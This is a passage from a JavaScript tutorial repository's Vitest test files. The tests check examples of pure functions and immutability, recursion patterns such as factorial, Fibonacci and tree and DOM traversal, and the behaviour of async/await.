use toReversed for non-mutating reverse (ES2023)', () => { const letters = ['a', 'b', 'c', 'd'] const reversed = letters.toReversed() expect(letters).toEqual(['a', 'b', 'c', 'd']) // Original unchanged expect(reversed).toEqual(['d', 'c', 'b', 'a']) }) }) describe('Deep Copy for Nested Objects', () => { it('should demonstrate shallow copy problem with nested objects', () => { const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } // Shallow copy - nested object is shared! const shallowCopy = { ...user } shallowCopy.address.city = 'LA' expect(user.address.city).toBe('LA') // Original changed! }) it('should use structuredClone for deep copy', () => { const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } const deepCopy = structuredClone(user) deepCopy.address.city = 'LA' expect(user.address.city).toBe('NYC') // Original unchanged! expect(deepCopy.address.city).toBe('LA') }) it('should safely update nested properties in pure function', () => { const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } // Pure function using structuredClone function updateCity(user, newCity) { const copy = structuredClone(user) copy.address.city = newCity return copy } // Alternative: spread at each level function updateCitySpread(user, newCity) { return { ...user, address: { ...user.address, city: newCity } } } const updated1 = updateCity(user, 'LA') const updated2 = updateCitySpread(user, 'Boston') expect(user.address.city).toBe('NYC') // Original unchanged expect(updated1.address.city).toBe('LA') expect(updated2.address.city).toBe('Boston') }) }) describe('Common Mistakes', () => { it('should avoid mutating function parameters', () => { // Bad: mutates the parameter function processUserBad(user) { user.processed = true user.name = user.name.toUpperCase() return user } // Good: returns new object function processUserGood(user) { return { ...user, processed: true, name: user.name.toUpperCase() } } const user = { name: 'alice', age: 25 } const result = processUserGood(user) expect(user.processed).toBe(undefined) // Original unchanged expect(user.name).toBe('alice') expect(result.processed).toBe(true) expect(result.name).toBe('ALICE') }) it('should avoid relying on external mutable state', () => { // Bad: relies on external config const config = { multiplier: 2 } function calculateBad(value) { return value * config.multiplier } // Good: config passed as parameter function calculateGood(value, multiplier) { return value * multiplier } expect(calculateGood(5, 2)).toBe(10) expect(calculateGood(5, 2)).toBe(10) // Always predictable }) it('should be careful with array methods that mutate', () => { const numbers = [3, 1, 2] // These methods MUTATE the original array: // sort(), reverse(), splice(), push(), pop(), shift(), unshift(), fill() // Safe alternatives: const sorted = [...numbers].sort((a, b) => a - b) // Copy first const reversed = [...numbers].reverse() // Copy first const withNew = [...numbers, 4] // Spread instead of push expect(numbers).toEqual([3, 1, 2]) // Original unchanged expect(sorted).toEqual([1, 2, 3]) expect(reversed).toEqual([2, 1, 3]) expect(withNew).toEqual([3, 1, 2, 4]) }) }) describe('Practical Pure Function Examples', () => { it('should calculate shopping cart total purely', () => { function calculateTotal(items, taxRate) { const subtotal = items.reduce((sum, item) => sum + item.price * item.quantity, 0) const tax = subtotal * taxRate return { subtotal, tax, total: subtotal + tax } } const items = [ { name: 'Widget', price: 10, quantity: 2 }, { name: 'Gadget', price: 25, quantity: 1 } ] const result = calculateTotal(items, 0.08) expect(result.subtotal).toBe(45) expect(result.tax).toBeCloseTo(3.6) expect(result.total).toBeCloseTo(48.6) // Original items unchanged expect(items[0].name).toBe('Widget') }) it('should filter and transform data purely', () => { function getActiveUserNames(users) { return users.filter((user) => user.active).map((user) => user.name.toLowerCase()) } const users = [ { name: 'ALICE', active: true }, { name: 'BOB', active: false }, { name: 'CHARLIE', active: true } ] const result = getActiveUserNames(users) expect(result).toEqual(['alice', 'charlie']) expect(users[0].name).toBe('ALICE') // Original unchanged }) it('should compose pure functions', () => { const trim = (str) => str.trim() const toLowerCase = (str) => str.toLowerCase() const removeSpaces = (str) => str.replace(/\s+/g, '-') function slugify(title) { return removeSpaces(toLowerCase(trim(title))) } expect(slugify(' Hello World ')).toBe('hello-world') expect(slugify(' JavaScript Is Fun ')).toBe('javascript-is-fun') }) it('should validate data purely', () => { function validateUser(user) { const errors = [] if (!user.name || user.name.length < 2) { errors.push('Name must be at least 2 characters') } if (!user.email || !user.email.includes('@')) { errors.push('Valid email is required') } if (!user.age || user.age < 0) { errors.push('Age must be a positive number') } return { isValid: errors.length === 0, errors } } const validUser = { name: 'Alice', email: 'alice@example.com', age: 25 } const invalidUser = { name: 'A', email: 'invalid', age: -5 } expect(validateUser(validUser).isValid).toBe(true) expect(validateUser(validUser).errors).toEqual([]) expect(validateUser(invalidUser).isValid).toBe(false) expect(validateUser(invalidUser).errors).toHaveLength(3) }) }) describe('Benefits of Pure Functions', () => { it('should be easy to test (no setup needed)', () => { // Pure functions are trivial to test function add(a, b) { return a + b } // No mocking, no setup, no cleanup expect(add(1, 2)).toBe(3) expect(add(-1, 1)).toBe(0) expect(add(0.1, 0.2)).toBeCloseTo(0.3) }) it('should be safe to memoize', () => { let callCount = 0 // Pure function - safe to cache function expensiveCalculation(n) { callCount++ let result = 0 for (let i = 0; i < n; i++) { result += i } return result } // Simple memoization function memoize(fn) { const cache = new Map() return function (arg) { if (cache.has(arg)) { return cache.get(arg) } const result = fn(arg) cache.set(arg, result) return result } } const memoizedCalc = memoize(expensiveCalculation) // First call computes expect(memoizedCalc(1000)).toBe(499500) expect(callCount).toBe(1) // Second call returns cached result expect(memoizedCalc(1000)).toBe(499500) expect(callCount).toBe(1) // Not called again! // Different input computes again expect(memoizedCalc(500)).toBe(124750) expect(callCount).toBe(2) }) it('should demonstrate fibonacci as a pure function safe for memoization', () => { // Expensive calculation - safe to cache because it's pure function fibonacci(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) } // Pure: same input always gives same output expect(fibonacci(0)).toBe(0) expect(fibonacci(1)).toBe(1) expect(fibonacci(2)).toBe(1) expect(fibonacci(3)).toBe(2) expect(fibonacci(4)).toBe(3) expect(fibonacci(5)).toBe(5) expect(fibonacci(10)).toBe(55) // Call multiple times - always same result expect(fibonacci(10)).toBe(55) expect(fibonacci(10)).toBe(55) }) }) describe('Examples from Q&A Section', () => { it('should demonstrate multiply as a pure function', () => { // Pure: follows both rules function multiply(a, b) { return a * b } expect(multiply(3, 4)).toBe(12) expect(multiply(3, 4)).toBe(12) // Always the same expect(multiply(-2, 5)).toBe(-10) expect(multiply(0, 100)).toBe(0) }) it('should demonstrate greet impure vs pure', () => { // ❌ IMPURE: Uses new Date() - output varies with time function greetImpure(name) { return `Hello, ${name}! The time is ${new Date().toLocaleTimeString()}` } // The impure version includes time, making results unpredictable const result1 = greetImpure('Alice') expect(result1).toContain('Hello, Alice!') expect(result1).toContain('The time is') // ✓ PURE: Pass time as a parameter function greetPure(name, time) { return `Hello, ${name}! The time is ${time}` } expect(greetPure('Alice', '10:00:00 AM')).toBe('Hello, Alice! The time is 10:00:00 AM') expect(greetPure('Alice', '10:00:00 AM')).toBe('Hello, Alice! The time is 10:00:00 AM') // Always same expect(greetPure('Bob', '3:00:00 PM')).toBe('Hello, Bob! The time is 3:00:00 PM') }) it('should demonstrate calculateTax as a pure function', () => { // If calculateTax(100, 0.08) returns the wrong value, // the bug MUST be inside calculateTax. // No need to check what other code ran before it. function calculateTax(amount, rate) { return amount * rate } expect(calculateTax(100, 0.08)).toBe(8) expect(calculateTax(100, 0.08)).toBe(8) // Always the same expect(calculateTax(250, 0.1)).toBe(25) expect(calculateTax(0, 0.08)).toBe(0) }) it('should demonstrate formatPrice as a pure function', () => { // You can understand this function completely by reading it function formatPrice(cents, currency = 'USD') { const dollars = cents / 100 return new Intl.NumberFormat('en-US', { style: 'currency', currency }).format(dollars) } expect(formatPrice(1999)).toBe('$19.99') expect(formatPrice(1999)).toBe('$19.99') // Always the same expect(formatPrice(500)).toBe('$5.00') expect(formatPrice(9999, 'USD')).toBe('$99.99') expect(formatPrice(1000, 'EUR')).toBe('€10.00') }) it('should demonstrate addToCart fix from Q&A', () => { // ❌ WRONG: This function mutates its input function addToCartBad(cart, item) { cart.push(item) return cart } const cart1 = ['apple'] const result1 = addToCartBad(cart1, 'banana') expect(cart1).toEqual(['apple', 'banana']) // Original mutated! expect(result1).toBe(cart1) // Same reference // ✓ CORRECT: Fix it by returning a new array function addToCartGood(cart, item) { return [...cart, item] } const cart2 = ['apple'] const result2 = addToCartGood(cart2, 'banana') expect(cart2).toEqual(['apple']) // Original unchanged! expect(result2).toEqual(['apple', 'banana']) expect(result2).not.toBe(cart2) // Different reference }) it('should demonstrate updateCity with structuredClone from Q&A', () => { const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } // Option 1: structuredClone (simplest) function updateCityClone(user, newCity) { const copy = structuredClone(user) copy.address.city = newCity return copy } const updated1 = updateCityClone(user, 'LA') expect(user.address.city).toBe('NYC') // Original unchanged expect(updated1.address.city).toBe('LA') // Option 2: Spread at each level function updateCitySpread(user, newCity) { return { ...user, address: { ...user.address, city: newCity } } } const updated2 = updateCitySpread(user, 'Boston') expect(user.address.city).toBe('NYC') // Original still unchanged expect(updated2.address.city).toBe('Boston') }) }) describe('Examples from Accordion Sections', () => { it('should demonstrate testing pure functions is trivial', () => { // Testing a pure function - simple and straightforward function add(a, b) { return a + b } function formatName(name) { return name.trim().toLowerCase() } function isValidEmail(email) { return email.includes('@') && email.includes('.') } // No mocking, no setup - just input and expected output expect(add(2, 3)).toBe(5) expect(formatName(' ALICE ')).toBe('alice') expect(isValidEmail('test@example.com')).toBe(true) expect(isValidEmail('invalid')).toBe(false) }) }) }) ================================================ FILE: tests/functional-programming/recursion/recursion.test.js ================================================ import { describe, it, expect } from 'vitest' import { JSDOM } from 'jsdom' describe('Recursion', () => { describe('Base Case Handling', () => { it('should return immediately when base case is met', () => { function countdown(n) { if (n <= 0) return 'done' return countdown(n - 1) } expect(countdown(0)).toBe('done') expect(countdown(-1)).toBe('done') }) it('should demonstrate countdown pattern from MDX opening example', () => { // Exact implementation from MDX lines 9-17 (modified to collect output) // Original uses console.log, we collect to array for testing function countdown(n, output = []) { if (n === 0) { output.push('Done!') return output } output.push(n) return countdown(n - 1, output) } // MDX example: countdown(3) outputs 3, 2, 1, Done! expect(countdown(3)).toEqual([3, 2, 1, 'Done!']) expect(countdown(1)).toEqual([1, 'Done!']) expect(countdown(0)).toEqual(['Done!']) }) it('should throw RangeError for infinite recursion (missing base case)', () => { function infiniteRecursion(n) { // No base case - will crash return infiniteRecursion(n - 1) } expect(() => infiniteRecursion(5)).toThrow(RangeError) }) it('should handle base case that returns a value', () => { function sumTo(n) { if (n === 1) return 1 return n + sumTo(n - 1) } expect(sumTo(1)).toBe(1) }) }) describe('Classic Algorithms', () => { describe('Factorial', () => { function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) } it('should calculate factorial correctly', () => { expect(factorial(5)).toBe(120) expect(factorial(4)).toBe(24) expect(factorial(3)).toBe(6) }) it('should handle edge cases (0! = 1, 1! = 1)', () => { expect(factorial(0)).toBe(1) expect(factorial(1)).toBe(1) }) it('should handle larger numbers', () => { expect(factorial(10)).toBe(3628800) }) }) describe('Fibonacci', () => { // Memoized version for efficiency function fibonacci(n, memo = {}) { if (n in memo) return memo[n] if (n <= 1) return n memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo) return memo[n] } it('should return correct Fibonacci numbers', () => { expect(fibonacci(6)).toBe(8) expect(fibonacci(7)).toBe(13) expect(fibonacci(10)).toBe(55) }) it('should handle base cases (fib(0) = 0, fib(1) = 1)', () => { expect(fibonacci(0)).toBe(0) expect(fibonacci(1)).toBe(1) }) it('should handle larger numbers efficiently with memoization', () => { expect(fibonacci(50)).toBe(12586269025) }) it('should follow the Fibonacci sequence pattern', () => { // Each number is sum of two preceding ones const sequence = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34] sequence.forEach((expected, index) => { expect(fibonacci(index)).toBe(expected) }) }) }) describe('Sum to N', () => { function sumTo(n) { if (n <= 1) return n return n + sumTo(n - 1) } it('should sum numbers from 1 to n', () => { expect(sumTo(5)).toBe(15) // 1+2+3+4+5 expect(sumTo(10)).toBe(55) expect(sumTo(100)).toBe(5050) }) it('should handle base cases', () => { expect(sumTo(1)).toBe(1) expect(sumTo(0)).toBe(0) }) }) describe('Power Function', () => { function power(x, n) { if (n === 0) return 1 return x * power(x, n - 1) } it('should calculate x^n correctly', () => { expect(power(2, 3)).toBe(8) expect(power(2, 10)).toBe(1024) expect(power(3, 4)).toBe(81) }) it('should handle power of 0', () => { expect(power(5, 0)).toBe(1) expect(power(100, 0)).toBe(1) }) it('should handle power of 1', () => { expect(power(7, 1)).toBe(7) }) }) describe('Power Function (Optimized O(log n))', () => { function powerFast(x, n) { if (n === 0) return 1 if (n % 2 === 0) { // Even exponent: x^n = (x^(n/2))^2 const half = powerFast(x, n / 2) return half * half } else { // Odd exponent: x^n = x * x^(n-1) return x * powerFast(x, n - 1) } } it('should calculate x^n correctly with O(log n) complexity', () => { expect(powerFast(2, 10)).toBe(1024) expect(powerFast(3, 4)).toBe(81) expect(powerFast(2, 3)).toBe(8) }) it('should handle even exponents efficiently', () => { expect(powerFast(2, 8)).toBe(256) expect(powerFast(2, 16)).toBe(65536) expect(powerFast(5, 4)).toBe(625) }) it('should handle odd exponents', () => { expect(powerFast(3, 5)).toBe(243) expect(powerFast(2, 7)).toBe(128) }) it('should handle edge cases', () => { expect(powerFast(5, 0)).toBe(1) expect(powerFast(7, 1)).toBe(7) expect(powerFast(100, 0)).toBe(1) }) it('should produce same results as naive power function', () => { function powerNaive(x, n) { if (n === 0) return 1 return x * powerNaive(x, n - 1) } // Test that both implementations produce identical results for (let x = 1; x <= 5; x++) { for (let n = 0; n <= 10; n++) { expect(powerFast(x, n)).toBe(powerNaive(x, n)) } } }) }) describe('String Reversal', () => { function reverse(str) { if (str.length <= 1) return str return str[str.length - 1] + reverse(str.slice(0, -1)) } it('should reverse a string', () => { expect(reverse('hello')).toBe('olleh') expect(reverse('world')).toBe('dlrow') expect(reverse('recursion')).toBe('noisrucer') }) it('should handle edge cases', () => { expect(reverse('')).toBe('') expect(reverse('a')).toBe('a') }) }) }) describe('Practical Patterns', () => { describe('Array Flattening', () => { function flatten(arr) { let result = [] for (const item of arr) { if (Array.isArray(item)) { result = result.concat(flatten(item)) } else { result.push(item) } } return result } it('should flatten nested arrays', () => { expect(flatten([1, [2, [3, 4]], 5])).toEqual([1, 2, 3, 4, 5]) expect(flatten([1, [2, [3, [4, [5]]]]])).toEqual([1, 2, 3, 4, 5]) }) it('should handle already flat arrays', () => { expect(flatten([1, 2, 3])).toEqual([1, 2, 3]) }) it('should handle empty arrays', () => { expect(flatten([])).toEqual([]) expect(flatten([[], []])).toEqual([]) }) }) describe('Nested Object Traversal', () => { function findAllValues(obj, key) { let results = [] for (const k in obj) { if (k === key) { results.push(obj[k]) } else if (typeof obj[k] === 'object' && obj[k] !== null) { results = results.concat(findAllValues(obj[k], key)) } } return results } it('should find all values for a given key in nested objects', () => { const data = { name: 'root', children: { a: { name: 'a', value: 1 }, b: { name: 'b', value: 2 } } } expect(findAllValues(data, 'name')).toEqual(['root', 'a', 'b']) expect(findAllValues(data, 'value')).toEqual([1, 2]) }) it('should return empty array if key not found', () => { const data = { a: 1, b: 2 } expect(findAllValues(data, 'notfound')).toEqual([]) }) }) describe('Finding All Counts (MDX Example)', () => { // Exact implementation from MDX lines 410-423 function findAllCounts(obj) { let total = 0 for (const key in obj) { if (key === 'count') { total += obj[key] } else if (typeof obj[key] === 'object' && obj[key] !== null) { // Recurse into nested objects total += findAllCounts(obj[key]) } } return total } it('should find and sum all count values in nested object (MDX example)', () => { const data = { name: 'Company', departments: { engineering: { frontend: { count: 5 }, backend: { count: 8 } }, sales: { count: 12 } } } expect(findAllCounts(data)).toBe(25) // 5 + 8 + 12 }) it('should return 0 for empty object', () => { expect(findAllCounts({})).toBe(0) }) it('should return 0 when no count keys exist', () => { const data = { name: 'Test', nested: { value: 10, deeper: { something: 'else' } } } expect(findAllCounts(data)).toBe(0) }) it('should handle flat object with count', () => { expect(findAllCounts({ count: 42 })).toBe(42) }) it('should handle deeply nested counts', () => { const data = { level1: { level2: { level3: { level4: { count: 100 } } } } } expect(findAllCounts(data)).toBe(100) }) }) describe('Linked List Operations', () => { function sumList(node) { if (node === null) return 0 return node.value + sumList(node.next) } function listLength(node) { if (node === null) return 0 return 1 + listLength(node.next) } // Modified version of MDX printReverse that collects results instead of console.log // MDX implementation (lines 505-509): // function printReverse(node) { // if (node === null) return // printReverse(node.next) // First, go to the end // console.log(node.value) // Then print on the way back // } function collectReverse(node, results = []) { if (node === null) return results collectReverse(node.next, results) // First, go to the end results.push(node.value) // Then collect on the way back return results } const list = { value: 1, next: { value: 2, next: { value: 3, next: null } } } it('should sum all values in a linked list', () => { expect(sumList(list)).toBe(6) }) it('should count nodes in a linked list', () => { expect(listLength(list)).toBe(3) }) it('should handle empty list (null)', () => { expect(sumList(null)).toBe(0) expect(listLength(null)).toBe(0) }) it('should handle single node list', () => { const single = { value: 5, next: null } expect(sumList(single)).toBe(5) expect(listLength(single)).toBe(1) }) it('should collect values in reverse order (printReverse pattern)', () => { // MDX shows: printReverse(list) outputs 3, 2, 1 expect(collectReverse(list)).toEqual([3, 2, 1]) }) it('should return empty array for null list (printReverse pattern)', () => { expect(collectReverse(null)).toEqual([]) }) it('should handle single node for reverse collection', () => { const single = { value: 42, next: null } expect(collectReverse(single)).toEqual([42]) }) }) describe('Tree Node Counting', () => { function countNodes(node) { if (node === null) return 0 return 1 + countNodes(node.left) + countNodes(node.right) } function sumTree(node) { if (node === null) return 0 return node.value + sumTree(node.left) + sumTree(node.right) } const tree = { value: 1, left: { value: 2, left: { value: 4, left: null, right: null }, right: { value: 5, left: null, right: null } }, right: { value: 3, left: null, right: null } } it('should count all nodes in a tree', () => { expect(countNodes(tree)).toBe(5) }) it('should sum all values in a tree', () => { expect(sumTree(tree)).toBe(15) // 1+2+3+4+5 }) it('should handle empty tree', () => { expect(countNodes(null)).toBe(0) expect(sumTree(null)).toBe(0) }) }) describe('File System Traversal (getTotalSize)', () => { // Exact implementation from MDX lines 539-550 function getTotalSize(node) { if (node.type === 'file') { return node.size } // Folder: sum sizes of all children let total = 0 for (const child of node.children) { total += getTotalSize(child) } return total } it('should calculate total size of file system (MDX example)', () => { // Exact data structure from MDX lines 522-537 const fileSystem = { name: 'root', type: 'folder', children: [ { name: 'file1.txt', type: 'file', size: 100 }, { name: 'docs', type: 'folder', children: [ { name: 'readme.md', type: 'file', size: 50 }, { name: 'notes.txt', type: 'file', size: 25 } ] } ] } expect(getTotalSize(fileSystem)).toBe(175) // 100 + 50 + 25 }) it('should return size of single file', () => { const singleFile = { name: 'test.js', type: 'file', size: 42 } expect(getTotalSize(singleFile)).toBe(42) }) it('should return 0 for empty folder', () => { const emptyFolder = { name: 'empty', type: 'folder', children: [] } expect(getTotalSize(emptyFolder)).toBe(0) }) it('should handle deeply nested folders', () => { const deepStructure = { name: 'level0', type: 'folder', children: [ { name: 'level1', type: 'folder', children: [ { name: 'level2', type: 'folder', children: [{ name: 'deep.txt', type: 'file', size: 999 }] } ] } ] } expect(getTotalSize(deepStructure)).toBe(999) }) it('should sum files across multiple nested folders', () => { const multiFolder = { name: 'root', type: 'folder', children: [ { name: 'a.txt', type: 'file', size: 10 }, { name: 'sub1', type: 'folder', children: [ { name: 'b.txt', type: 'file', size: 20 }, { name: 'c.txt', type: 'file', size: 30 } ] }, { name: 'sub2', type: 'folder', children: [{ name: 'd.txt', type: 'file', size: 40 }] } ] } expect(getTotalSize(multiFolder)).toBe(100) // 10 + 20 + 30 + 40 }) }) describe('DOM Traversal (walkDOM)', () => { // Exact implementation from MDX lines 461-470 function walkDOM(node, callback) { // Process this node callback(node) // Recurse into child nodes for (const child of node.children) { walkDOM(child, callback) } } it('should collect all tag names in document order (MDX example)', () => { const dom = new JSDOM(` <body> <div> <p></p> <span></span> </div> <footer></footer> </body> `) const tagNames = [] walkDOM(dom.window.document.body, (node) => { tagNames.push(node.tagName) }) expect(tagNames).toEqual(['BODY', 'DIV', 'P', 'SPAN', 'FOOTER']) }) it('should handle single element with no children', () => { const dom = new JSDOM(`<body></body>`) const tagNames = [] walkDOM(dom.window.document.body, (node) => { tagNames.push(node.tagName) }) expect(tagNames).toEqual(['BODY']) }) it('should handle deeply nested structure', () => { const dom = new JSDOM(` <body> <div> <div> <div> <p></p> </div> </div> </div> </body> `) const tagNames = [] walkDOM(dom.window.document.body, (node) => { tagNames.push(node.tagName) }) expect(tagNames).toEqual(['BODY', 'DIV', 'DIV', 'DIV', 'P']) }) it('should process nodes in depth-first order', () => { const dom = new JSDOM(` <body> <nav> <a></a> </nav> <main> <article> <h1></h1> <p></p> </article> </main> </body> `) const tagNames = [] walkDOM(dom.window.document.body, (node) => { tagNames.push(node.tagName) }) expect(tagNames).toEqual(['BODY', 'NAV', 'A', 'MAIN', 'ARTICLE', 'H1', 'P']) }) it('should allow custom callbacks', () => { const dom = new JSDOM(` <body> <div id="first"></div> <div id="second"></div> </body> `) const ids = [] walkDOM(dom.window.document.body, (node) => { if (node.id) { ids.push(node.id) } }) expect(ids).toEqual(['first', 'second']) }) }) }) describe('Common Mistakes', () => { it('should demonstrate stack overflow without proper base case', () => { function badRecursion(n) { // Base case uses === instead of <=, causing overflow for negative inputs if (n === 0) return 0 return badRecursion(n - 2) // Skips 0 when starting with odd number } // Odd number will skip past 0 and cause stack overflow expect(() => badRecursion(5)).toThrow(RangeError) }) it('should show difference between returning and not returning recursive call', () => { function withReturn(n) { if (n === 1) return 1 return n + withReturn(n - 1) } function withoutReturn(n) { if (n === 1) return 1 n + withoutReturn(n - 1) // Missing return! } expect(withReturn(5)).toBe(15) expect(withoutReturn(5)).toBeUndefined() }) }) describe('Optimization', () => { it('should demonstrate memoized fibonacci is much faster than naive', () => { // Naive implementation (would be very slow for large n) function fibNaive(n) { if (n <= 1) return n return fibNaive(n - 1) + fibNaive(n - 2) } // Memoized implementation function fibMemo(n, memo = {}) { if (n in memo) return memo[n] if (n <= 1) return n memo[n] = fibMemo(n - 1, memo) + fibMemo(n - 2, memo) return memo[n] } // Both should return the same result expect(fibNaive(10)).toBe(55) expect(fibMemo(10)).toBe(55) // But memoized can handle much larger numbers expect(fibMemo(50)).toBe(12586269025) // fibNaive(50) would take minutes or crash }) it('should demonstrate tail recursive vs non-tail recursive', () => { // Non-tail recursive: multiplication happens AFTER recursive call returns function factorialNonTail(n) { if (n <= 1) return 1 return n * factorialNonTail(n - 1) } // Tail recursive: recursive call is the LAST operation function factorialTail(n, acc = 1) { if (n <= 1) return acc return factorialTail(n - 1, acc * n) } // Both produce the same result expect(factorialNonTail(5)).toBe(120) expect(factorialTail(5)).toBe(120) expect(factorialNonTail(10)).toBe(3628800) expect(factorialTail(10)).toBe(3628800) }) }) describe('Edge Cases', () => { it('should handle recursive function with multiple base cases', () => { function fibonacci(n) { if (n === 0) return 0 // First base case if (n === 1) return 1 // Second base case return fibonacci(n - 1) + fibonacci(n - 2) } expect(fibonacci(0)).toBe(0) expect(fibonacci(1)).toBe(1) expect(fibonacci(2)).toBe(1) }) it('should handle recursion with multiple recursive calls', () => { function sumTree(node) { if (node === null) return 0 // Two recursive calls return node.value + sumTree(node.left) + sumTree(node.right) } const tree = { value: 10, left: { value: 5, left: null, right: null }, right: { value: 15, left: null, right: null } } expect(sumTree(tree)).toBe(30) }) it('should handle mutual recursion', () => { function isEven(n) { if (n === 0) return true return isOdd(n - 1) } function isOdd(n) { if (n === 0) return false return isEven(n - 1) } expect(isEven(4)).toBe(true) expect(isEven(5)).toBe(false) expect(isOdd(3)).toBe(true) expect(isOdd(4)).toBe(false) }) }) describe('Recursion vs Iteration', () => { describe('Factorial (Iterative vs Recursive)', () => { // Recursive version (from Classic Algorithms) function factorialRecursive(n) { if (n <= 1) return 1 return n * factorialRecursive(n - 1) } // Exact iterative implementation from MDX lines 585-592 function factorialIterative(n) { let result = 1 for (let i = 2; i <= n; i++) { result *= i } return result } it('should produce same results as recursive version', () => { expect(factorialIterative(5)).toBe(factorialRecursive(5)) expect(factorialIterative(10)).toBe(factorialRecursive(10)) }) it('should calculate factorial correctly', () => { expect(factorialIterative(5)).toBe(120) expect(factorialIterative(10)).toBe(3628800) }) it('should handle edge cases (0! = 1, 1! = 1)', () => { expect(factorialIterative(0)).toBe(1) expect(factorialIterative(1)).toBe(1) }) it('should handle larger numbers without stack overflow', () => { // Iterative can handle larger numbers without stack concerns expect(factorialIterative(20)).toBe(2432902008176640000) }) }) describe('Sum Tree (Iterative with Explicit Stack)', () => { // Recursive version function sumTreeRecursive(node) { if (node === null) return 0 return node.value + sumTreeRecursive(node.left) + sumTreeRecursive(node.right) } // Exact iterative implementation from MDX lines 814-829 function sumTreeIterative(root) { if (root === null) return 0 let sum = 0 const stack = [root] while (stack.length > 0) { const node = stack.pop() sum += node.value if (node.right) stack.push(node.right) if (node.left) stack.push(node.left) } return sum } const tree = { value: 1, left: { value: 2, left: { value: 4, left: null, right: null }, right: { value: 5, left: null, right: null } }, right: { value: 3, left: null, right: null } } it('should produce same results as recursive version', () => { expect(sumTreeIterative(tree)).toBe(sumTreeRecursive(tree)) }) it('should sum all values in a tree', () => { expect(sumTreeIterative(tree)).toBe(15) // 1+2+3+4+5 }) it('should handle empty tree (null)', () => { expect(sumTreeIterative(null)).toBe(0) }) it('should handle single node tree', () => { const single = { value: 42, left: null, right: null } expect(sumTreeIterative(single)).toBe(42) }) it('should handle left-only tree', () => { const leftOnly = { value: 1, left: { value: 2, left: { value: 3, left: null, right: null }, right: null }, right: null } expect(sumTreeIterative(leftOnly)).toBe(6) }) it('should handle right-only tree', () => { const rightOnly = { value: 1, left: null, right: { value: 2, left: null, right: { value: 3, left: null, right: null } } } expect(sumTreeIterative(rightOnly)).toBe(6) }) }) }) describe('Q&A Examples', () => { describe('Array Length (Recursive)', () => { // Exact implementation from MDX lines 899-910 function arrayLength(arr) { // Base case: empty array has length 0 if (arr.length === 0) return 0 // Recursive case: 1 + length of the rest return 1 + arrayLength(arr.slice(1)) } it('should calculate array length recursively (MDX example)', () => { expect(arrayLength([1, 2, 3, 4])).toBe(4) }) it('should return 0 for empty array', () => { expect(arrayLength([])).toBe(0) }) it('should handle single element array', () => { expect(arrayLength([42])).toBe(1) }) it('should work with arrays of different types', () => { expect(arrayLength(['a', 'b', 'c'])).toBe(3) expect(arrayLength([{ a: 1 }, { b: 2 }])).toBe(2) expect(arrayLength([1, 'two', { three: 3 }, [4]])).toBe(4) }) it('should handle longer arrays', () => { const longArray = Array.from({ length: 100 }, (_, i) => i) expect(arrayLength(longArray)).toBe(100) }) }) }) }) ================================================ FILE: tests/functions-execution/async-await/async-await.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('async/await', () => { // ============================================================ // THE async KEYWORD // ============================================================ describe('The async Keyword', () => { it('should make a function return a Promise', () => { // From: async function always returns a Promise async function getValue() { return 42 } const result = getValue() expect(result).toBeInstanceOf(Promise) }) it('should wrap return values in Promise.resolve()', async () => { // From: return values are wrapped in Promise.resolve() async function getValue() { return 42 } const result = await getValue() expect(result).toBe(42) }) it('should convert thrown errors to rejected Promises', async () => { // From: when you throw in an async function, it becomes a rejected Promise async function failingFunction() { throw new Error('Something went wrong!') } await expect(failingFunction()).rejects.toThrow('Something went wrong!') }) it('should not double-wrap returned Promises', async () => { // From: return a Promise? No double-wrapping async function getPromise() { return Promise.resolve(42) } const result = await getPromise() // If it double-wrapped, result would be a Promise, not 42 expect(result).toBe(42) expect(typeof result).toBe('number') }) it('should work with async arrow functions', async () => { // From: async arrow function const getData = async () => { return 'data' } expect(await getData()).toBe('data') }) it('should work with async methods in objects', async () => { // From: async method in an object const api = { async fetchData() { return 'fetched' } } expect(await api.fetchData()).toBe('fetched') }) it('should work with async methods in classes', async () => { // From: async method in a class class DataService { async getData() { return 'class data' } } const service = new DataService() expect(await service.getData()).toBe('class data') }) }) // ============================================================ // THE await KEYWORD // ============================================================ describe('The await Keyword', () => { it('should pause execution until Promise resolves', async () => { const order = [] async function example() { order.push('before await') await Promise.resolve() order.push('after await') } await example() expect(order).toEqual(['before await', 'after await']) }) it('should return the resolved value of a Promise', async () => { async function example() { const value = await Promise.resolve(42) return value } expect(await example()).toBe(42) }) it('should work with non-Promise values (though pointless)', async () => { // From: awaiting a non-Promise value async function example() { const num = await 42 return num } expect(await example()).toBe(42) }) it('should work with thenable objects', async () => { // From: awaiting a thenable const thenable = { then(resolve) { resolve('thenable value') } } async function example() { return await thenable } expect(await example()).toBe('thenable value') }) it('should not block the main thread - other code runs while waiting', async () => { // From: await pauses the function, not the thread const order = [] async function slowOperation() { order.push('Starting slow operation') await Promise.resolve() order.push('Slow operation complete') } order.push('Before calling slowOperation') const promise = slowOperation() order.push('After calling slowOperation') // At this point, slowOperation is paused at await expect(order).toEqual([ 'Before calling slowOperation', 'Starting slow operation', 'After calling slowOperation' ]) await promise expect(order).toEqual([ 'Before calling slowOperation', 'Starting slow operation', 'After calling slowOperation', 'Slow operation complete' ]) }) }) // ============================================================ // HOW await WORKS UNDER THE HOOD // ============================================================ describe('How await Works Under the Hood', () => { it('should run code before await synchronously', async () => { // From: code before await is synchronous const order = [] async function example() { order.push('1. Before await') await Promise.resolve() order.push('2. After await') } order.push('A. Before call') example() order.push('B. After call') // Before microtasks run expect(order).toEqual([ 'A. Before call', '1. Before await', 'B. After call' ]) // Let microtasks run await Promise.resolve() expect(order).toEqual([ 'A. Before call', '1. Before await', 'B. After call', '2. After await' ]) }) it('should treat code after await as a microtask', async () => { // From: await splits the function diagram const order = [] async function asyncFn() { order.push('async start') await Promise.resolve() order.push('async after await') } order.push('script start') asyncFn() order.push('script end') // Await hasn't resolved yet expect(order).toEqual(['script start', 'async start', 'script end']) await Promise.resolve() expect(order).toEqual(['script start', 'async start', 'script end', 'async after await']) }) it('should handle multiple await statements', async () => { const order = [] async function multipleAwaits() { order.push('start') await Promise.resolve() order.push('after first await') await 